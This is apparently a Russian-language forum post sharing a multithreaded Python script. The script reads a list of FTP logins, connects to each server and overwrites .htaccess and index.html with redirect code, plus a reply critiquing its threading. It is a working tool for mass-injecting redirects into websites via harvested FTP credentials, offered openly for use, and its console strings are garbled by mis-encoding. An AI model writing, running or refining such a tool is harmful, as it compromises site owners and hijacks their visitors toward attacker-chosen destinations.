Вот накорябал скриптягу на Python для заливки редиректов на фтп, для работы нужны 1.htaccess и index.html с кодом редиректа (Идея взята из Чаковского скрипта), скрипт заточен под Win-консоль (заточка заключается в кодировке ) Скрипт вроде кагбэ даже многопоточный. П.С. Время задержки зависит от вашего канала/количества потоков - так что с оптимальной величиной нужно поэкспериментировать. П.П.С. КОНСТРУКТИВНАЯ критика приветствуется (кому не нравится - не качаем) Code: #!/usr/bin/env python # -*- coding:Cp866 -*- import ftplib,time,urlparse,threading print " џ «оЎ«о «о¤Ґ©! (c) Dolphin" print "" ftp_list_file_name=raw_input("‚ўҐ¤ЁвҐ Ё¬п FTP-«Ёбв* :") thr_num=int(raw_input("‚ўҐ¤ЁвҐ Є®«ЁзҐбвў® Ї®в®Є®ў :")) del_time=int(raw_input("“Є*¦ЁвҐ ўаҐ¬п §*¤Ґа¦ЄЁ :")) def con_write(): ftp_server=ftp_list.pop()[:-1] addr=urlparse.urlparse(ftp_server) try: con_serv=ftplib.FTP(addr.hostname,addr.username,addr.password,timeout=10) try: con_serv.storbinary("STOR .htaccess", open("1.htaccess")) print ".htaccess ў:" + addr.hostname+":"+addr.username+" б®еа**с* гбЇҐи*® " except Exception: print ".htaccess ў:"+ addr.hostname+":"+addr.username+" *Ґ б®еа**Ґ*" try: con_serv.storbinary("STOR index.html", open("index.html")) print "index.html ў:" + addr.hostname+":"+addr.username+" б®еа**Ґ* гбЇҐи*®" except Exception: print "index.html ў:"+ addr.hostname +":"+addr.username+" *Ґ б®еа**Ґ*" try: con_serv.quit except Exception: print "ЌҐ ¬®Јг §*Єалвм ᮥ¤Ё*Ґ*ЁҐ б FTP бҐаўҐа®¬" except Exception: print "ЋиЁЎЄ* §*ЇЁбЁ" except Exception: print "ЌҐ ¬®Јг Ї®¤Є«озЁвмбп Є FTP бҐаўҐаг" with open(ftp_list_file_name) as ftp_list: ftp_list=list(ftp_list) for x in ftp_list: while threading.activeCount() > thr_num:time.sleep(del_time) threading.Thread(target=con_write).start() while threading.activeCount() > thr_num:time.sleep(del_time) print threading.activeCount() print "‚лЈаг§Є* §*Є®*зҐ**"+" ў "+ time.strftime("%H:%M:%S %d:%m:%Y")
>> заточка заключается в кодировке Удобней выводить юникод-текст в консоль. А еще удобней было б задавать ftp_list_file_name, thr_num, del_time как параметры при запуске. Многопоточнось реализована некорректно. Правильнее будет использовать метод join, а не с помощью таких вот сравнений и засыпаний. )